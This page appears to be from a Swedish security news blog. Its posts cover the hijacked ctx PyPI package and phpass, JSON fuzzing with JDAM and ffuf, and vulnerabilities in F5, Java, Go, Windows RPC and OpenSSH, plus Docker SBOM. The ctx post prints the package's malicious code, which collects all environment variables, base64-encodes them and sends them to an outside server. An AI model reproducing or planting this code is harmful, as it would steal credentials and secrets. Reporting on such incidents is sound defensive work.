PyPi-paketet CTX och phpass hackade

PyPi-paketet CTX och phpass hackade

Uppdatering: Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.

Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.

För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.

Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:

 def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.

Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.

Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.

JSON fuzzing

Allt eftersom fler och fler applikationer hanterar JSON (JavaScript Object Notation) så blir det också viktigare att genomföra olika former av säkerhetstester som just fokuserar på JSON. Många verktyg såsom Burp Suite och ZAP har stöd för att lägga till egna listor och där passar SecLists-listor bra såsom denna:

Problemet dock med dessa listor är att dom är ”dumma” och tar inte så mycket hänsyn till övriga värden och kriterier som eventuellt måste uppfyllas.

För att råda bot på detta så tog Michael Henriksen fram verktyget JDAM ”A structure-aware JSON fuzzer” som baseras på samma idé som mitt favoritverktyg radamsa.

Gif-animation som visar hur JDAM kan användas:

Och här är ett till exempel när jag använder jdam för 10 st iterationer:

Nästa utmaning är att mata in dessa värden mot den applikation eller system vi vill testa. Man kan givetvis skriva ut dessa testfall till en fil och sedan använda den filen i Burp eller ZAP. Det går även att köra ffuf direkt med utdata från jdam på följande sätt:

ffuf -input-cmd 'cat test.json | jdam -rounds 3' -d FUZZ -u http://localhost/api/user/1 -X PUT -v -mc 500 -mr 'error|failed|failure|fault|abort|root:|1764|0x|\d{20}' -od /tmp/ffuf_test

Att vi väljer just en regexp att matcha mot (-mr) som innehåller bla 1764 är för att detta är ett ”magiskt” värde där vi matar in 42*42 vilket blir 1764. Detta kan indikera på bl.a. template injections. Håll även koll på krashar, felmeddelanden eller annat som kan indikera på att applikationen hanterar indata på ett felaktigt sätt.

Samtliga olika mutationer som JDAM känner till är följande:

Flertalet allvarliga brister i F5

F5

Företaget F5 som är mest kända för sina lastbalanserare och proxy-servrar har skickat ut en säkerhetsbulletin där man meddelar att 43 säkerhetsbrister har åtgärdats.

Den allvarligaste bristen har fått CVSS score på hela 9.8, men förutsätter att angriparen kan komma åt management porten på produkten BIG-IP:

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

För att åtgärda bristerna bör du uppgradera till version:

  • 17.0.0
  • 16.1.2.2
  • 15.1.5.1
  • 14.1.4.6
  • 13.1.5

Brister med lägre CVSS på 8.7 är följande två:

Och så har även två stycken autentiserings-bypass sårbarheter identifierats som har fått CVE-2022-25946 och CVE-2022-27806.

security.txt är nu RFC 9116

Efter fem års arbete är nu äntligen security.txt fastslagen standard informational och har fått RFC 9116. Security.txt är en fil som företag, organisationer och privatpersoner kan placera på sin webbserver för att peka ut lämpliga kontaktvägar för den som identifierar en säkerhetsbrist.

Bakom arbetet med att standardisera denna text-fil står EdOverflow och Yakov Shafranovich. Flertalet stora och kända organisationer såsom Google, Facebook och Github använder sig av denna text-fil.

Om du vill skapa upp en sådan fil själv så kan du använda verktyget som återfinnes här:

Och det finns även ett Github-repo för den som vill hjälpa till med utvecklingen av security.txt här:

Exempel på hur en fil som är placerad under https://example.com/.well-known/security.txt kan se ut:

# Our security address
Contact: mailto:[email protected]

# Our OpenPGP key
Encryption: https://example.com/pgp-key.txt

# Our security policy
Policy: https://example.com/security-policy.html

# Our security acknowledgments page
Acknowledgments: https://example.com/hall-of-fame.html

Expires: 2021-12-31T18:37:07z

Tyvärr har dock kryptera.se ingen sådan fil ännu, men det kommer vilket år som helst.

Update: Glömde givetvis att länka till själva RFC:n som du hittar här.

Så tar sig angripare förbi multifaktorautentisering

En relativt ny metod för angripare att ta sig in i IT-system kallas för MFA-spamming (multifaktorautentisering). Dvs angriparna skickar förfrågningar om och om igen tills personen som använder MFA-appen till slut blir less och godkänner inloggningen. Som metod för MFA används vanligtvis SMS, OTP via app eller push-notifieringar. När hackergruppen LAPSUS$ angrep bl.a. Okta som jag tidigare skrivit om så tog dom sig in med just denna metod.

Metoden har observerats av Mandiant i tidigare rapporter och bl.a. så har ryska hackergrupper använt denna metod i några år. En av leverantörerna, Microsoft har nu infört så att man även kan matcha ett nummer i appen med det som visas på skärmen vid inloggning.

Här är en skärmdump på hur det ser ut vid inloggning via webbläsaren på desktop och det meddelande som dyker upp i Microsoft Authenticator-appen:

Använder du Microsoft Sentinel så kan följande KQL-frågor vara av intresse från reprise99:

Glöm inte heller att slå på Require number matching (preview) i Azure AD portalen. Attacken går även under namnet MFA fatigue attacks, vilket på svenska blir något i stil med MFA-utmattningsattack.

Observera även att denna attack används tillsammans med credential stuffing där läckta eller stulna kombinationer med användarnamn/lösenord används.

Kryptobugg i Java

ECDSA Kryptobugg i Java

En ny kryptobugg har identifierats i programspråket Java. Det gäller hur Java hanterar ECDSA-signaturer och buggen gör det möjligt att förfalska dessa signaturer. Sårbarheten gäller Java versioner mellan 15 och 18. Anledningen till att buggen uppstod var för att man bestämde sig för att skriva om koden från C++ till native Java.

Omfattningen av buggen är otroligt omfattande och gäller exempelvis OIDC, WebAuthn tokens, JWT och SAML. Intressant är också att Project Wycheproof som är utvecklat av Google har just tester för denna typ av sårbarhet.

ECDSA står för Elliptic Curve Digital Signature Algorithm och en längre förklaring av buggen finns på Neil Maddens blogg. Oklart gällande CVSS-scoring eftersom Oracle ger den 7.5 men Neil hävdar att den bör ligga på högsta och allvarligaste värdet som är 10.

Stack-overflow i Go:s hantering av PEM-certifikat

Sårbarhet i progamspråket Go:s hantering av PEM-certifikat

En stack-overflow brist har identifierats i programspråkets Go hantering av PEM-certifikat. Bristen har fått CVE-2022-24675 och uppdagades av Juho Nurminen från Mattermost.

Rekommenderat är att uppgradera till 1.18.1 och 1.17.9 som innehåller åtgärder för denna brist samt två andra. Oklart hur attack-vektorn ser ut för utnyttjande av denna sårbarhet, men troligtvis leder denna till ”RCE över nätverk” i flertalet applikationer.

Följande test har införts för att testa efter buggen:

Följande tre brister har åtgärdats:

- encoding/pem: fix stack overflow in Decode

A large (more than 5 MB) PEM input can cause a stack overflow in Decode, leading the program to crash.

Thanks to Juho Nurminen of Mattermost who reported the error.

This is CVE-2022-24675 and https://go.dev/issue/51853.

- crypto/elliptic: tolerate all oversized scalars in generic P-256

A crafted scalar input longer than 32 bytes can cause P256().ScalarMult or P256().ScalarBaseMult to panic. Indirect uses through crypto/ecdsa and crypto/tls are unaffected. amd64, arm64, ppc64le, and s390x are unaffected.

This was discovered thanks to a Project Wycheproof test vector.

This is CVE-2022-28327 and https://go.dev/issue/52075.

- crypto/x509: non-compliant certificates can cause a panic in Verify on macOS in Go 1.18

Verifying certificate chains containing certificates which are not compliant with RFC 5280 causes Certificate.Verify to panic on macOS.

These chains can be delivered through TLS and can cause a crypto/tls or net/http client to crash.

Thanks to Tailscale for doing weird things and finding this.

This is CVE-2022-27536 and https://go.dev/issue/51759.

RCE i Windows RPC

En ny allvarlig sårbarhet (Remote Code Execution) har uppdagats i Windows RPC-gränssnitt. Denna sårbarhet har fått CVE-2022-26809 samt CVSS score på 9.8 vilket är mycket högt.

Som en förmildrande åtgärd så rekommenderar Microsoft att blockera TCP port 445, men tittar man på Shodan så finns det över en miljon exponerade portar. Och här i Sverige finns det över 5000 exponerade MS RPC-portar. Dock går RPC även att köra över port 135, 139 och oklart varför Microsoft inte har med det i sin rekommendation.

Förutom att blockera dessa portar för inkommande trafik så bör du även installera tisdagens patchar som släpptes av Microsoft. Viktigt också att poängtera att exploit complexity är satt till ”low”.

Kvantdatorsäker algoritm i nya OpenSSH

OpenSSH

Den nya versionen 9.0 av OpenSSH som släpptes i fredags innehåller en spännande ny algoritm. Som standard framöver kommer en ny algoritm användas för att utbyta nycklar nämligen: NTRU Prime + X25519 ECDH. Dessa två i kombination ger ett skydd som försvårar nya okända attacker mot NTRU Prime samt försvårar även för forcering med hjälp av kvantdatorer.

Även om det just nu är osannolikt att kvantdatorer knäcker något i realtid just nu så finns alltid problemet med ”spela in nu, knäck senare” kvar. Därav denna tidiga åtgärd från OpenSSH-teamet.

Gällande standardiseringen från NIST PQC så är NTRU Prime en av finalisterna och blir det inte NTRU Prime som blir standard enligt NIST, så kommer OpenSSH troligtvis även att stödja den andra PQ-algoritmen. De andra två finalisterna är CRYSTALS-KYBER och Classic McEliece.

Från OpenSSH changelog:

* ssh(1), sshd(8): use the hybrid Streamlined NTRU Prime + x25519 key
   exchange method by default ("[email protected]").
   The NTRU algorithm is believed to resist attacks enabled by future
   quantum computers and is paired with the X25519 ECDH key exchange
   (the previous default) as a backstop against any weaknesses in
   NTRU Prime that may be discovered in the future. The combination
   ensures that the hybrid exchange offers at least as good security
   as the status quo.

   We are making this change now (i.e. ahead of cryptographically-
   relevant quantum computers) to prevent "capture now, decrypt
   later" attacks where an adversary who can record and store SSH
   session ciphertext would be able to decrypt it once a sufficiently
   advanced quantum computer is available.

Det kommer troligtvis att dröja ett tag innan OpenSSH 9.0 dyker upp i mer populära Linux-distar.

Docker SBOM

Docker har precis släppt en ny funktion som gör det möjligt att skapa en Software Bill Of Materials (SBOM) på en docker-image. Förutom att det är ett krav på amerikanska myndigheter att upprätta en SBOM så är det säkerhetsmässigt mycket bra att veta exakt vilka beroenden som återfinnes i ett IT-system eller mjukvara. Vid sårbarheter såsom den i log4j går det snabbare och enklare att identifiera var sårbara bibliotek återfinnes.

syft

Dockers sbom-funktion bygger på open-source projektet Syft. Och följande paket stödjer docker sbom/syft att identifiera i containers:

  • Alpine (apk)
  • Dart (pubs)
  • Debian (dpkg)
  • Go (go.mod, Go binaries)
  • Java (jar, ear, war, par, sar)
  • JavaScript (npm, yarn)
  • Jenkins Plugins (jpi, hpi)
  • PHP (composer)
  • Python (wheel, egg, poetry, requirements.txt)
  • Red Hat (rpm)
  • Ruby (gem)
  • Rust (cargo.lock)

Och för att skapa själva rapporten så finns ett antal olika SBOM-format såsom spdx, cyclonedx, json och text. Jag testade att snabbt jämföra debian med alpine utan några extra paket och då såg det ut så här:

  • Alpine – 14 paket (apk)
  • Debian – 96 paket (deb)
  • Alma Linux – 153 paket (rpm)
  • Rocky Linux – 151 paket (rpm)

Och tittar vi på hur en text-rapport från alpine:latest ser ut som är skapad med hjälp av kommandot docker sbom alpine:latest

Syft v0.43.0
 ✔ Loaded image
 ✔ Parsed imag
 ✔ Cataloged packages      [14 packages]

NAME                    VERSION      TYPE
alpine-baselayout       3.2.0-r18    apk
alpine-keys             2.4-r1       apk
apk-tools               2.12.7-r3    apk
busybox                 1.34.1-r5    apk
ca-certificates-bundle  20211220-r0  apk
libc-utils              0.7.2-r3     apk
libcrypto1.1            1.1.1n-r0    apk
libretls                3.3.4-r3     apk
libssl1.1               1.1.1n-r0    apk
musl                    1.2.2-r7     apk
musl-utils              1.2.2-r7     apk
scanelf                 1.3.3-r0     apk
ssl_client              1.34.1-r5    apk
zlib                    1.2.12-r0    apk

Hjälptext för docker sbom:

Observera att docker sbom bara finns i Docker Desktop från version 4.7.0 än så länge. Men givetvis går syft att ladda hem och köra separat.